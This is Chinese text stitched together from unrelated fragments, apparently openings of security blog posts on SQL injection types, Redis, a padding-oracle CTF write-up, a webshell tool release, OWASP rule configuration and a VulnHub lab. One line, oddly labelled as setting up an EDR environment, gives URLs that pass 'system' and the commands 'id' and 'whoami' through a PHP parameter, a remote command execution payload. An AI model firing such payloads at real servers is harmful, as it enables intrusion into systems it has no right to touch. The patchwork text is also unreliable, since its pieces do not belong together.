联合查询注入报错型注入布尔盲注时间盲注在单引号字符型注入的前提下，如果是整型注入，则把单引号和注释符（–+）去掉，若是双引号注入则把单引号换成双引号。

搭建一个edr环境https://XXX.com/tool/log/c.php?strip_slashes=system&host=idhttps://XXX.com/tool/log/c.php?strip_slashes=system&host=whoami

REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库，并提供多种语言的API。它通常被称为数据结构服务器，因为值（value）可以是 字符串(String), 哈希(Hash), 列表(list), (sets) 和(sorted sets)等类型。

首先padding oracle的文章真的很多，但是我感觉到奇怪的是我在中英文搜索引擎都没有找到Encypted Pastebin的通关方法（如果你找到了可以评论给我，我要看看是谁跟我一样这么喜欢写日记），是因为太简单吗，但是我看到官方在twitter上面在去年2月的时候说有一千多人拿到了前两题的flag，但是只有37个黑客通关，所以我觉着可能还是大部分人没有深刻理解其中的细节，padding oracle说实话原理没什么难的，难的在于你清楚各种变形情况下的解法，用此篇writeup当作我进入安全圈的第一篇文章

我们按照学习原理，然后找一道例题学习，最后复盘总结的方式来学习这个知识点。

一直想找 CTF 靶场练练手 (技术)，今天在终于在网上找到一个靶场，在此将自己的过程记录下来，以便自己之后遇到类似问题时有地方找寻答案。

本文原载于公众号：宽字节安全作者：potatso**即将开始，冰蝎发布3.0版本，主要做了以下改动：

首先白泽Sec在这里祝大家新年快乐啦！
祝各位新的一年学业顺利，事业顺利，大吉大利，万事如意~

本文主要介绍OWASP核心规则集的两种配置模式。OWASP规则的官方Github地址：https://github.com/coreruleset/coreruleset。

难度中等
链接：https://www.vulnhub.com/entry/leeroy-1,611/
镜像可以直接导入到VMware里，导入成功运行后显示如下界面